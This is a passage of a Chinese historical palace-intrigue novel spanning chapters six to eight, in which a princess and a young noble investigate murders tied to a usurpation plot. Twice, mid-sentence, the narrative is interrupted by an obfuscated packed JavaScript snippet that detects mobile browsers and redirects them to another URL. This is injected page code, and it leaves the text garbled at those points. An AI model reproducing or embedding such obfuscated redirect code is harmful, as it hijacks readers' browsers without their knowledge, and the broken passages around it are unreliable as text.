他叫王贵,是王布商的表弟,在吏部当差十二年,专门负责官员考核的文书档案。半个月前,他忽然告病辞官,带着妻儿老小离开了京城。据邻居说,走得很急,连家里的东西都没来得及收拾。 沈淮的人一路追查,发现他们往南边去了,最后出现在距离京城三百里的青州府。 然后就不见了。 活不见人,死不见尸。 昀宁看着那份密报,眉头微微皱起。 青州府。 那地方说远不远,说近不近。若是快马加鞭,三日可到。但若是有人想藏起来,青州府多山多林,随便找个村子躲进去,便如泥牛入海,再难寻觅。 “殿下,”阿蘅小声问,“要不要派人去找?” 昀宁想了想,摇摇头。 “不用。”她说,“既然有人要藏他,就不会让我们轻易找到。派人去,打草惊蛇。” 阿蘅有些担心:“那怎么办?” 昀宁没有回答。 她站起身,走到窗前,看着外面的天空。 天很蓝,有几朵白云悠悠地飘着,像是什么烦恼都没有。 “阿蘅,”她忽然问,“你说,那个王贵,他为什么要跑?” 阿蘅愣了一下,想了想说:“大概是怕被灭口吧?” “那他现在还活着吗?” 阿蘅说不出话来。 昀宁也没有再问。 她只是站在那里,看着那些白云,看它们慢慢地飘,慢慢地变,最后散成一片,什么都看不见了。 下午,沈淮来了。 他穿着一身寻常的衣裳,没带随从,独自一人骑马来的。昀宁在摘星阁侧殿见他。 “殿下。”他行礼。 昀宁点点头,让人看座。 沈淮坐下,从袖中取出一份文书,递给她。 “臣查到那张地契是谁签发的了。” 昀宁接过来,展开。 上面写着一个名字——沈荣。 沈家的一个远房亲戚,论辈分,该叫沈淮一声表叔。此人在沈家管着一些杂务,不掌实权,平日里也不显山不露水。 “这个沈荣,现在何处?”昀宁问。 沈淮沉默了一瞬,说:“死了。” 昀宁的手指微微一顿。 “怎么死的?” “三天前,溺死在城外的河里。”沈淮说,“京兆尹府验过,说是酒后失足,意外溺亡。” 昀宁没有说话。 三天前。 那时候,她刚接下这个案子。 那时候,她刚让人去查那张地契的来历。 然后沈荣就死了。 “殿下,”沈淮看着她,“您信是意外吗?” 昀宁摇摇头。 “不信。”她说,“但京兆尹府信了。” 沈淮没有说话。 昀宁把那份文书放下,抬眼看她。 “小公爷,”她说,“你可知道,这意味着什么?” 沈淮点点头。 “意味着有人在灭口。”他说,“先是王布商一家三口,然后是沈荣。接下来,可能就是王贵。” 昀宁沉默了很久。 “那个王贵,”她开口,“还活着吗?” 沈淮摇摇头:“不知道。但臣已经派人去了青州府,暗中查访。若有消息,立刻回报。” 昀宁看着他,心里忽然涌起一股说不清的滋味。 他本可以不管这件事的。 沈荣是沈家的人,虽然是远亲,但到底沾着一个“沈”字。这件事若真是沈家的人做的,他查下去,只会引火烧身。若真查到最后,查出什么来,沈家的名声,也会跟着受损。 但他还是在查。 从那天在京兆尹府门口遇见她开始,他就一直在查。 “小公爷,”昀宁开口,“本宫有一事不明。” 沈淮看着她:“殿下请讲。” 昀宁问:“你为何要帮本宫?” 沈淮愣了一下。 昀宁继续说:“这件事牵扯到沈家,你本可以置身事外。就算你不查,也没人会说什么。但你不仅查了,还查得比本宫的人还仔细。为什么?” 沈淮沉默了很久。 然后他抬起头,看着她。 那双眼睛亮亮的,像是山间的清泉,清澈见底。 “殿下,”他说,“臣帮的不是殿下。” 昀宁挑眉。 沈淮说:“臣帮的是那三条人命。王布商夫妻,还有那个八岁的孩子。他们死了,死得不明不白。臣既然知道了,就不能当作不知道。” 他顿了顿,又说:“更何况,这件事背后,可能还牵扯到更大的事。臣查它,也不只是为了那三条人命。” 昀宁看着他,心里忽然有些明白了。 他说的“更大的事”,是什么。 是废立。 是有人想对昀昭不利。 他是臣子,是沈家的继承人,是这大燕朝的年轻一代里,最有前途的人之一。他站出来查这件事,不只是为了伸张正义,更是为了—— “为了什么?”她问。 沈淮看着她,目光坦然。 “为了这大燕朝的江山社稷。”他说,“陛下年幼,若有人趁机作乱,天下必定大乱。臣身为大燕子民,不能坐视不理。” 昀宁没有说话。 她只是看着他,看着他那双干净的眼睛。 然后她忽然笑了。 那笑容很淡,淡得几乎看不出来,但沈淮看见了。 “殿下笑什么?”他问。 昀宁摇摇头。 “没什么。”她说,“本宫只是忽然觉得,小公爷和本宫想的,有些不一样。” 沈淮微微一怔:“殿下原以为臣是什么样的人?” 昀宁想了想,说:“原以为你只是个世家子弟,身份尊贵,前程似锦,犯不着蹚这种浑水。” 沈淮沉默了一瞬,然后笑了。 那笑容和他平时的不一样,少了几分疏离,多了几分真实。 “殿下,”他说,“臣确实是个世家子弟,确实身份尊贵,确实前程似锦。但这些,和臣想做什么,没有关系。” 他顿了顿,又说:“臣想做的,是臣觉得该做的事。至于这件事会不会给臣带来麻烦,会不会让臣得罪人,臣不想管,也管不了。” 昀宁看着他,心里忽然有一种奇怪的感觉。 像是很久以前,她还是个小姑娘的时候,在御花园里看见一只蝴蝶。那只蝴蝶翅膀上有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316907|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斑斓的花纹,在阳光下闪闪发光。她想抓住它,又怕伤着它。她就站在那里,看着它飞,看着它落,看着它消失在花丛里。 现在,她又有那种感觉了。 但她已经不是那个可以追蝴蝶的小姑娘了。 她是大燕的嫡长公主,是当今天子的胞姐。 她站在那个位置上,一步都不能错。 “小公爷,”她开口,声音平静,“多谢你。” 沈淮看着她,目光微微一动。 “殿下不必谢臣。”他说,“臣做这些,不是为了殿下的谢。” 昀宁点点头,没有再说。 那天下午,他们在摘星阁侧殿里坐了许久,把案子的所有线索又重新梳理了一遍。 王布商、王贵、沈荣,这三个人之间,到底是什么关系? 那张沈家的地契,为什么会出现在王布商家? 那三千两银子,是谁给王布商的? 王贵知道了什么,为什么要跑? 沈荣知道什么,为什么要死? 这些问题的答案,像是一团乱麻,缠在一起,解不开,理还乱。 “殿下,”沈淮忽然说,“臣有个想法。” 昀宁看着他。 沈淮说:“臣怀疑,这件事的源头,在吏部。” 昀宁的心微微一动。 “吏部?” 沈淮点点头:“王贵是吏部的书吏,在吏部当差十二年。他知道的,一定比我们想象的要多。他跑,一定是知道了什么不该知道的事。而那些人不让他说,所以要杀他。” 昀宁想了想,问:“那你觉得,他知道什么?” 沈淮沉默了一瞬,压低声音。 “殿下可知道,吏部最近在做什么?” 昀宁摇摇头。 沈淮说:“吏部最近在整理官员考核的档案,尤其是那些在外地任职的官员。” 昀宁的眉头微微皱起。 官员考核。 这本是寻常事,每年都有。但在这个时候,忽然有人花大价钱收买吏部的书吏,就不寻常了。 “你是说,有人想从这些档案里,找到什么?” 沈淮点点头。 “找到什么?” 沈淮看着她,目光有些复杂。 “找到那些可以被拉拢的人。”他说,“那些在外地任职的官员,手里有兵权,有粮草,有人马。若是有人想做什么事,他们是最好的帮手。” 昀宁的手指微微收紧。 兵权。 粮草。 人马。 这些词连在一起,只能指向一件事—— 谋反。 “小公爷,”她开口,声音很轻,“你可知自己在说什么?” 沈淮看着她,目光坦然。 “臣知道。”他说,“臣也知道,这话说出来,臣就再也回不了头了。但臣还是要说。” 他顿了顿,一字一句地说:“殿下,有人在暗中准备谋反。王布商一家三口,只是这件事里最小的牺牲品。” 昀宁沉默了很久。 窗外,太阳渐渐西斜,把整个摘星阁染成一片橘红色。 她想起父皇临终前的眼神。 她想起昀昭站在灵堂里,哭得浑身发抖。 她想起母后临终前说的话——“护着你弟弟,这是你的命。” 她的命。 是的,这是她的命。 “小公爷。”她开口。 沈淮看着她。 昀宁说:“这件事,本宫会继续查。但你……” 她顿了顿。 “你不要再查了。” 沈淮愣了一下。 “殿下?” 昀宁说:“你是沈家的继承人,是沈家未来的希望。若是你查这件事出了事,沈家怎么办?沈家百年基业,不能毁在你手里。” 沈淮看着她,看了很久。 然后他笑了。 那笑容很淡,却让昀宁的心跳漏了一拍。 “殿下,”他说,“臣方才说了,臣做这些,不是为了殿下的谢。臣做这些,是因为臣觉得该做。” 他站起身,朝她行了一礼。 “殿下若是不让臣查,臣也会自己查。”他说,“这件事,臣查定了。” 说完,他转身往外走。 昀宁看着他的背影,忽然开口。 “沈淮。” 沈淮停下脚步,回过头。 昀宁站在窗前,夕阳落在她身上,把她的轮廓镀上一层淡淡的金边。 “明日辰时,”她说,“京兆尹府。” 沈淮的眼睛亮了一下。 “臣一定到。” 他走了。 昀宁站在原地,看着他的背影消失在门外。 窗外,夕阳渐渐沉下去,天边的云被染成一片血红。 她想起很久以前,母后说过的一句话。 “昀宁,这世上,最难还的,是人心。” 她那时候不懂。 现在她懂了。 ——第六章完—— 7. 金枝玉叶 7 辰时,京兆尹府。 昀宁到的时候,沈淮已经在门口等着了。 他今日换了一身月白色的长袍,腰间系着一条青玉带,比前几日那身玄色衣裳显得清雅许多。站在晨光里,像是一株挺拔的青竹。 “殿下。”他迎上前行礼。 昀宁点点头,目光在他身上停了一瞬,随即移开。 “进去吧。” 京兆尹府的后院里,周文早已候着。见二人进来,连忙躬身行礼。 “殿下,沈小公爷。” 昀宁问:“王贵那边,有消息吗?” 周文的脸色有些难看,支吾道:“回殿下,下官派人去了青州府,但……但……” “但什么?” 周文一咬牙,跪了下去:“殿下恕罪!下官派去的人,在半路被人截住了。三个人,两个重伤,一个……死了。” 昀宁的眉头微微皱起。 沈淮上前一步:“谁干的?” 周文摇摇头:“不知道。那些人蒙着脸,身手极好,像是……像是行伍出身。” 行伍出身。 昀宁和沈淮对视一眼。 “尸体呢?”沈淮问。 周文说:“下官让人抬回来了,就在义庄停着。” 沈淮看向昀宁:“殿下,臣想去看看。” 昀宁点点头:“一起去。” 义庄在京兆尹府的西边,是一间低矮的土房,常年不见阳光,阴冷潮湿。门口守着两个衙役,见他们来,连忙打开门。 一股腐臭味扑面而来。 昀宁的脚步顿了顿,随即走了进去。 尸体就停在里面,用白布盖着。周文掀开白布,露出一张年轻的脸,脸色青灰,眼睛紧闭,嘴唇发紫。 “这是下官府上的捕快,姓张,今年二十三岁。”周文的声音有些发颤,“他去年刚成亲,媳妇还怀着身子……” 昀宁没有说话,只是俯下身,仔细看着那具尸体。 尸体的脖子上有一道深深的刀痕,一刀毙命,干净利落。 “好刀法。”沈淮站在她身后,低声说,“不是寻常匪徒能有的。” 昀宁点点头,又看了看尸体的手。那只手上有几道新鲜的伤口,像是抓挠时留下的。 “他死前和人搏斗过。”她说,“伤口里有东西吗?” 周文摇摇头:“仵作验过了,没有。” 沈淮蹲下身,仔细看了看那些伤口,忽然说:“不对。” 昀宁看向他。 沈淮指着其中一道伤口:“这道伤口里,有东西。” 昀宁凑近了些。果然,在那道深深的抓痕里,有一小片极细的东西,像是什么布料的纤维。 “取出来。”她说。 周文连忙叫来仵作。仵作用镊子小心翼翼地把那片纤维取出来,放在一块白布上。 那是一小片青灰色的布料,质地细密,像是…… “是军中常用的料子。”沈淮沉声说,“禁军、边军,都用这种料子做里衣。” 昀宁的心猛地一沉。 禁军。 边军。 无论是哪一个,都意味着这件事比她想象的更大。 “能查出是哪个军中的吗?”她问。 沈淮摇摇头:“单凭这一小片料子,查不出来。但至少可以确定一点——” 他看着她,目光凝重。 “杀人的,不是寻常匪徒,是官兵。” 昀宁沉默了很久。 她看着那具年轻的尸体,看着那张青灰的脸,想起周文说的话——他去年刚成亲,媳妇还怀着身子。 他本不该死的。 他只是奉命去查一个案子,查一个叫王贵的书吏去了哪里。 然后他就死了。 死在那些官兵手里。 “周主簿。”她开口。 周文连忙应声:“下官在。” “派人去告诉他媳妇。”昀宁说,“他死了,是为了朝廷的事。朝廷不会亏待她。该给的抚恤,一文都不能少。” 周文眼眶有些红,深深叩首:“下官替张捕快,谢殿下恩典。” 昀宁没有再说话。 她转身走出义庄,站在阳光下,深深地吸了一口气。 外面的天很蓝,阳光很暖,和义庄里的阴冷像是两个世界。 沈淮跟出来,站在她身后。 “殿下,”他说,“这件事,越来越大了。” 昀宁没有回头。 “本宫知道。” “殿下还想继续查吗?” 昀宁转过身,看着他。 阳光下,他的眼睛亮亮的,像是山间的清泉。 “小公爷,”她问,“你呢?你还想继续查吗?” 沈淮看着她,忽然笑了。 “臣昨日说过,这件事,臣查定了。” 昀宁看着他,心里忽然涌起一股奇怪的情绪。 有感激,有欣赏,还有一丝她说不清的东西。 “好。”她说,“那便继续查。” 那天下午,他们又去了一个地方——沈荣的家。 沈荣死后,他那座小院子就被京兆尹府封了。门口贴着封条,落着锁,冷冷清清的,像是从来没有人住过。 周文打开锁,推开门。 一股霉味扑面而来。 院子不大,三间正房,两间厢房,院子里还种着几棵石榴树,正是开花的季节,红艳艳的花朵挂满枝头,和这满院的死寂格格不入。 “沈荣一个人住?”昀宁问。 沈淮点点头:“他早年丧妻,没有子女,家里就他一个。” 昀宁走进正房。 房里的陈设很简单,一张床,一张桌子,几把椅子,一个衣柜。桌上还放着半盏茶,茶已经干了,杯底结着一层褐色的垢。 “周主簿说,沈荣死的那天,有人来找过他。”沈淮说。 昀宁看向他:“谁?” 沈淮摇摇头:“邻居只看见一个人影,没看清脸。只知道那人穿一身灰衣裳,身量中等,在沈荣家里待了大约半个时辰,然后走了。当天夜里,沈荣就死在河里。” 昀宁沉默了一瞬,开始在屋里细细查看。 床底下,衣柜里,枕头下面,所有能藏东西的地方,她都翻了一遍。 什么都没有。 那个人来过之后,把该拿走的,都拿走了。 昀宁站在屋子中间,环顾四周,忽然目光一凝。 “那是什么?” 她指着墙上挂着的一幅画。那幅画画的是山水,笔墨平平,不是什么名家之作,但画轴的一头,似乎有些不对劲。 沈淮走过去,取下那幅画,仔细看了看。 画轴是檀木做的,一头微微凸起,像是里面塞了什么东西。 他轻轻一拧,画轴开了。 里面藏着一卷纸。 沈淮展开那卷纸,看了一眼,脸色微微一变。 “殿下。” 昀宁走过去,接过那卷纸。 那是一份名单。 上面密密麻麻写着几十个人名,每个名字后面都注着官职、驻地、兵权多少。有些名字被圈了起来,有些名字被划掉了。 昀宁的目光落在最上面的几个人名上—— 李崇,礼部尚书。 周延,兵部尚书。 还有…… 她看到了一个名字,手指微微一顿。 昀启。 大皇子,昀昭的大皇叔。 “殿下。”沈淮的声音很低,带着一丝凝重。 昀宁没有说话。 她把那份名单折起来,收进袖中。 “小公爷,”她说,“这件事,到此为止。” 沈淮看着她。 “殿下?” 昀宁说:“接下来的事,本宫自己来。你不要再插手了。” 沈淮沉默了一瞬,忽然笑了。 那笑容很淡,却让昀宁的心跳漏了一拍。 “殿下,”他说,“臣昨日说过的话,殿下忘了吗?” 昀宁看着他。 沈淮说:“臣做这些,不是为了殿下的吩咐。臣做这些,是因为臣觉得该做。殿下觉得臣会因为这名单上有大皇子,就缩回去吗?” 昀宁没有说话。 沈淮继续说:“殿下,臣知道您在担心什么。您怕臣卷进来,怕沈家卷进来,怕臣出事。但臣想问殿下一句——” 他看着她,目光坦荡。 “殿下觉得,臣是那种见势不妙就缩回去的人吗?” 昀宁沉默了很久。 院子里,石榴花开得正艳,红得像一团团火。 有风吹过,吹落几片花瓣,落在他们脚边。 “沈淮。”她忽然开口,没有叫“小公爷”,而是叫了他的名字。 沈淮微微一怔。 昀宁说:“这份名单,牵扯的人太多,太大。你若是查下去,可能会死。” 沈淮看着她,目光清澈。 “殿下,”他说,“人都会死。臣只是想,死之前,做几件该做的事。” 昀宁的心像是被什么东西狠狠撞了一下。 她忽然想起很久以前,母后说过的一句话。 “昀宁,这世上,最难求的,是一个愿意陪你走夜路的人。” 她那时候不懂。 现在她懂了。 那天晚上,昀宁回到宫里,直接去了乾清宫。 昀昭还没睡,正趴在案上写着什么。见她进来,他抬起头,眼睛一亮。 “皇姐!” 昀宁走过去,看了一眼他写的东西。那是一份诏书,字迹歪歪扭扭的,但很认真。 “在写什么?” 昀昭有些不好意思,把诏书藏到身后。 “没什么。” 昀宁没有追问,只是在他旁边坐下。 “昀昭,”她开口,“姐姐有话和你说。” 昀昭看着她,脸上的笑容慢慢收起来。 “皇姐,怎么了?” 昀宁沉默了一瞬,说:“如果有人想害你,你会怎么办?” 昀昭愣了一下,随即说:“皇姐会保护我的。” 昀宁的心微微一酸。 “如果……姐姐保护不了你呢?” 昀昭看着她,看了很久。 然后他说:“那我就自己保护自己。” 他的声音很轻,却让昀宁的眼眶有些发酸。 “昀昭……” “皇姐,”昀昭打断她,“我不是小孩子了。我知道有人不喜欢我,有人想把我从那个椅子上拉下来。但我不怕。” 他顿了顿,一字一句地说:“因为我有皇姐。” 昀宁看着他,看着他那双亮亮的眼睛,忽然说不出话来。 她伸出手,把他揽进怀里。 昀昭没有挣扎,只是把脸埋在她肩头。 “皇姐,”他闷闷地说,“你会一直在的,对不对?” 昀宁闭上眼睛,轻轻拍着他的背。 “对。”她说,“姐姐一直在。” 那天夜里,昀宁回到摘星阁,在窗前坐了许久。 月光落在她脸上,像是铺了一层薄薄的霜。 她从袖中取出那份名单,展开,看着上面那些名字。 李崇,周延,昀启…… 一个比一个位高权重。 一个比一个危险。 她要把这些人,一个一个查清楚,一个一个扳倒。 但她也知道,这条路,不好走。 她可能会死。 但她更知道,如果她不做,昀昭一定会死。 她把名单收起来,放进一个暗格里,锁好。 然后她站起身,走到窗前,看着窗外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316908|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的月亮。 月亮很圆,很亮,像是一面银盘。 她忽然想起一个人。 想起他那双亮亮的眼睛,想起他说的那句话——“臣只是想在死之前,做几件该做的事。” 她忽然笑了。 笑着笑着,眼眶却湿了。 第二天一早,昀宁刚起身,阿蘅就匆匆进来。 “殿下,沈小公爷来了。” 昀宁微微一怔:“这么早?” 阿蘅点点头:“他说有要紧事。” 昀宁匆匆洗漱,去了侧殿。 沈淮站在窗前,听见脚步声,转过身来。 “殿下。” 昀宁看着他:“什么事?” 沈淮从袖中取出一张纸,递给她。 “殿下请看。” 昀宁接过来,展开。 那是一张告示,上面写着—— “悬赏:捉拿逃犯王贵,生死不论,赏银五千两。” 落款是青州府衙。 昀宁的眉头皱起来。 “青州府在抓王贵?” 沈淮点点头:“臣的人昨夜送来的消息。说青州府忽然贴出告示,说王贵是逃犯,命各地缉拿。” 昀宁沉默了一瞬。 “这是有人要抢在我们前面,找到王贵。” 沈淮说:“不只是找到。殿下看这‘生死不论’四个字——他们要的,是王贵的命。” 昀宁的手指微微收紧。 王贵是唯一的活口了。 王布商死了,沈荣死了,只有王贵还活着。 如果王贵也死了,这条线就断了。 “小公爷,”她抬头看着沈淮,“你的人,找到王贵了吗?” 沈淮点点头,又摇摇头。 “找到了他的藏身处,但他已经不在那里了。”他说,“有人比我们快了一步。” 昀宁的心一沉。 “他死了?” 沈淮摇摇头:“没有。他跑了。但留下了一样东西。” 他从袖中取出一个小小的布包,递给昀宁。 昀宁打开,里面是一本账册。 账册很旧,边角都磨破了,里面密密麻麻记着许多东西——时间、地点、人名、数目。 昀宁一页一页翻下去,脸色越来越凝重。 这上面记的,是这些年,有人通过吏部,收买各地官员的账目。 谁收的,收了多少,什么时候收的,一清二楚。 而那个“谁”,名字反复出现—— 李崇。 周延。 昀启。 昀宁把账册合上,抬起头,看着沈淮。 “这是王贵留下的?” 沈淮点点头。 “他知道自己跑不掉,就把这东西藏起来了。”他说,“臣的人找到的时候,它被埋在院子里的一棵树下。” 昀宁沉默了很久。 窗外的阳光照进来,落在她手里的账册上。 这本账册,可以要了很多人的命。 也可以要了她的命。 “小公爷,”她开口,声音很轻,“你知道这是什么吗?” 沈淮点点头。 “知道。” “你知道这东西交出去,会有什么后果吗?” 沈淮又点点头。 “知道。” 昀宁看着他。 “那你还敢把它交给本宫?” 沈淮看着她,目光坦荡。 “殿下,”他说,“臣说过,臣做这些,是因为臣觉得该做。这东西,只有交给殿下,才能发挥它该有的作用。” 他顿了顿,又说:“殿下,您是陛下的亲姐姐,是这大燕朝最不该退的人。这东西在您手里,才能保住陛下的江山。” 昀宁看着他,看了很久。 “沈淮。”她开口。 沈淮看着她。 昀宁说:“这件事,本宫会做。但你……” 她顿了顿。 “你不能再查了。” 沈淮的眉头微微皱起。 “殿下——” “听本宫说完。”昀宁打断他,“你不是一个人。你是沈家的继承人,是沈家百年基业的希望。你若是出了事,沈家怎么办?沈家那些依附你、指望你的人怎么办?” 沈淮沉默了一瞬,说:“殿下,臣——” “本宫知道你想说什么。”昀宁说,“你想说,你做的事是你觉得该做的事。但本宫要告诉你,有些事,不是你觉得该做,就能做的。” 她把账册收进袖中。 “接下来的事,本宫自己来。”她说,“你若是真想帮本宫,就好好活着。活得好好的。这大燕朝,需要你这样的大臣。” 沈淮看着她,看了很久。 然后他忽然笑了。 那笑容很淡,却让昀宁的心跳漏了一拍。 “殿下,”他说,“臣知道了。” 他朝她行了一礼,转身往外走。 走到门口,他忽然停下脚步,回过头。 “殿下。” 昀宁看着他。 沈淮说:“臣会好好活着。殿下也要好好活着。” 他顿了顿,又说:“这件事,臣不会往外说。但殿下若是有需要,臣随时都在。” 说完,他推门走了出去。 昀宁站在原地,看着那扇关上的门,许久没有动。 阳光从窗外照进来,落在她身上,暖暖的。 她忽然想起很久以前,母后说过的话。 “昀宁,这世上,最难求的,是一个愿意陪你走夜路的人。” 她现在有了。 但她不能让他陪她走。 因为那条路太黑了,她怕他走不出去。 她怕他会死在那条路上。 她不想让他死。 ——第七章完—— 8. 金枝玉叶 8 昀宁把那份账册锁进暗格里的时候,手很稳。 但她知道,从这一刻起,有些东西不一样了。 那本账册就像一把刀,可以杀人,也可以杀自己。用得好了,能砍掉那些伸向龙椅的手。用不好,就会反噬回来,把她和昀昭一起拖进深渊。 她在窗前站了很久,看着外面的天色从亮变暗,又从暗变亮。 一夜未眠。 第二天一早,昀宁去了乾清宫。 昀昭正在上朝,她站在侧殿的珠帘后面,听着外面的声音。 “陛下,西北边境急报,胡人又劫了两个村子,杀了三十多人,抢走牛羊无数!” “陛下,户部奏报,今年春税只收了七成,各地亏空依旧未补!” “陛下,吏部奏报,各地官员考核已毕,请旨定夺!” 一个又一个的声音响起,像潮水一样涌向那张龙椅。 昀宁的目光穿过珠帘,落在那些说话的人身上。 李崇站在礼部尚书的位置上,低着头,一言不发。周延站在兵部尚书的位置上,同样低着头,同样一言不发。 昀启站在最前面,脊背挺得笔直。 他没有说话,只是偶尔抬眼,看向龙椅上的昀昭。那目光沉沉的,像是什么东西压在下面,随时都会翻涌上来。 昀宁看着那道目光,手指微微收紧。 她想起那份名单上的名字。 李崇,周延,昀启。 还有那本账册上,那些密密麻麻的数目和时间。 这些人,他们在准备什么,她已经知道了。 但她还不能动。 证据还不够。 那本账册只能证明他们在收买官员,却不能证明他们想谋反。她需要一个更直接的东西——一个人证,或者一件物证,能把他们和“谋反”两个字牢牢钉在一起。 王贵。 只有王贵。 他是唯一的活口,是唯一能开口指认的人。 可是他在哪儿? 散朝后,昀宁没有回摘星阁,而是去了东宫。 昀昭正在院子里练剑,穿着一身短打,满头是汗。见她进来,他收了剑,跑过来。 “皇姐!” 昀宁接过阿蘅递来的帕子,替他擦了擦脸上的汗。 “今日怎么想起练剑了?” 昀昭说:“太傅说,皇帝不光要会读书,还要会骑射。万一哪天有危险,也能自己保护自己。” 昀宁的手顿了顿。 “太傅说得对。”她说,“但你也要记得,有姐姐在,不会让危险靠近你。” 昀昭抬起头看她,忽然问:“皇姐,你是不是有心事?” 昀宁愣了一下。 昀昭说:“你每次有心事的时候,眉毛就会皱起来,像这样——”他学着皱起眉头,把昀宁逗笑了。 “鬼机灵。”昀宁揉了揉他的头发,“姐姐没有心事,只是有些事要想。” 昀昭看着她,那双眼睛亮亮的,像是有星星在里面。 “皇姐想的事,我能帮忙吗?” 昀宁摇摇头。 “你现在要做的,就是把剑练好,把书读好。”她说,“其他的事,有姐姐。” 昀昭点点头,没有追问。 但他忽然伸出手,握住昀宁的手。 “皇姐,”他说,“你要好好的。” 昀宁的心微微一酸。 “好。”她说,“姐姐好好的。” 那天下午,昀宁让人去了一趟青州府。 不是官府的人,是她自己养的几个暗卫——这是母后留给她的,人数不多,但个个都是好手,忠心耿耿。 “去找王贵。”她说,“活要见人,死要见尸。” 暗卫领命而去。 接下来的几天,日子过得很平静。 平静得像是什么都没有发生。 昀宁每天依旧去乾清宫听朝,依旧去东宫陪昀昭下棋,依旧在摘星阁里抄经、看书、处理一些琐碎的宫务。 但她的心里,始终悬着一根弦。 那根弦绷得紧紧的,随时都会断。 第五天夜里,暗卫回来了。 “殿下,”领头的那人跪在地上,声音很低,“人找到了。” 昀宁的心猛地一跳。 “在哪儿?” 暗卫抬起头,看了她一眼,那目光有些复杂。 “殿下,他死了。” 昀宁的手指微微收紧。 “怎么死的?” 暗卫说:“我们找到他的时候,他已经死了三天。尸体被扔在城外的一个乱葬岗里,身上有十几处刀伤,像是被人乱刀砍死的。” 昀宁沉默了很久。 “有留下什么东西吗?” 暗卫摇摇头:“没有。我们搜遍了那个乱葬岗,什么也没找到。” 昀宁没有再问。 她挥了挥手,让暗卫退下。 然后她坐在窗前,看着窗外的月亮,看了很久很久。 月亮很圆,很亮,像是一面银盘。 她忽然想起那天,沈淮对她说的话。 “殿下,有人在暗中准备谋反。王布商一家三口,只是这件事里最小的牺牲品。” 现在,王贵也死了。 那条线,彻底断了。 她手里只剩下一本账册,和一些零散的线索。这些东西,能扳倒那些人吗? 不能。 远远不够。 她需要更多。 第二天,昀宁去了一趟京兆尹府。 周文见了他,脸色灰败,像是几天没睡好觉。 “殿下,”他跪在地上,声音发颤,“下官无能,王贵的事……” “不怪你。”昀宁打断他,“起来吧。” 周文站起身,低着头,不敢看她。 昀宁问:“那个张捕快,抚恤给了吗?” 周文点点头:“给了。他媳妇哭了一夜,第二天接了银子,说要好好把孩子生下来,养大成人。” 昀宁沉默了一瞬。 “她叫什么名字?” 周文愣了一下,说:“姓刘,叫刘氏。” 昀宁说:“告诉刘氏,若是她生下的是儿子,本宫会给他安排个差事。若是女儿,本宫会给她备一份嫁妆。” 周文眼眶有些红,深深叩首:“下官替刘氏,谢殿下恩典。” 昀宁没有再说话。 她走出京兆尹府,站在门口,看着外面的街道。 街上人来人往,叫卖声、谈笑声、孩童的嬉闹声,混成一片,热闹得很。 没有人知道,就在几天前,有一个叫张捕快的年轻人死了。 没有人知道,有一个叫刘氏的妇人,正在家里挺着肚子,等着一个永远不会回来的丈夫。 也没有人知道,这京城平静的水面下,藏着多少暗流。 “殿下。” 一个声音从身后传来。 昀宁转过身,看见沈淮站在她身后。 他穿着一身玄色的衣裳,站在阳光下,像是一株挺拔的青松。 “小公爷。”昀宁点点头。 沈淮走上前,看了看她的脸色,眉头微微皱起。 “殿下这几日没睡好?” 昀宁没有回答,只是问:“小公爷怎么在这儿?” 沈淮说:“臣听说王贵死了,来看看殿下。” 昀宁的心微微一动。 “你怎么知道王贵死了?” 沈淮说:“臣的人也在找。他们昨天在乱葬岗发现了王贵的尸体,回来报了臣。” 昀宁沉默了一瞬。 “你也在找?” 沈淮点点头:“臣说过,这件事,臣查定了。” 昀宁看着他,心里忽然涌起一股复杂的情绪。 有感激,有无奈,还有一丝她说不清的东西。 “沈淮,”她开口,“本宫说过,这件事你不要再插手了。” 沈淮看着她,目光坦荡。 “殿下,”他说,“臣不是插手。臣只是……想做点该做的事。” 他顿了顿,又说:“王贵死了,但这件事还没完。那些人杀了王贵,就说明他们怕王贵开口。他们怕的,不只是王贵一个人,还有王贵知道的东西。” 昀宁看着他。 沈淮说:“殿下手里,一定有王贵留下的什么东西吧?” 昀宁没有回答。 沈淮也没有追问,只是说:“殿下若是不方便说,臣就不问。但臣想告诉殿下一句话——” 他看着她,目光清澈。 “无论殿下想做什么,臣都在。” 昀宁的心像是被什么东西狠狠撞了一下。 她忽然想起那天晚上,她站在摘星阁的窗前,看着月亮,想着他。 她想起自己说,那条路太黑了,她怕他走不出去。 但现在,他就站在她面前,说“无论殿下想做什么,臣都在”。 她不知道该怎么办。 她只知道,她的心跳,比平时快了一些。 “沈淮。”她开口。 沈淮看着她。 昀宁说:“谢谢你。” 沈淮愣了一下,随即笑了。 那笑容很淡,却让昀宁的心跳漏了一拍。 “殿下不必谢臣。”他说,“臣做这些,不是为了殿下的谢。” 他顿了顿,又说:“殿下若真想谢臣,就好好活着。活着,才能做该做的事。” 昀宁看着他,看了很久。 然后她点了点头。 “好。”她说,“本宫答应你。” 那天之后,昀宁开始做一件事。 她让人把那份账册上的名字,一个一个查了一遍。 李崇,礼部尚书,当朝二品。他有个儿子,在禁军里当差,是个校尉。 周延,兵部尚书,当朝二品。他有个女婿,在西北边军里当参将,手下有三千兵马。 昀启,大皇子,当朝天子的皇叔。他手里虽然没有兵权,但他和京城里的许多官员都有往来,逢年过节,送礼的人能从他的府邸排到街口。 一个管着礼部,一个管着兵部,一个结交朝臣。 这三个人凑在一起,想做的是什么,已经很明显了。 但昀宁还需要一样东西——证据。 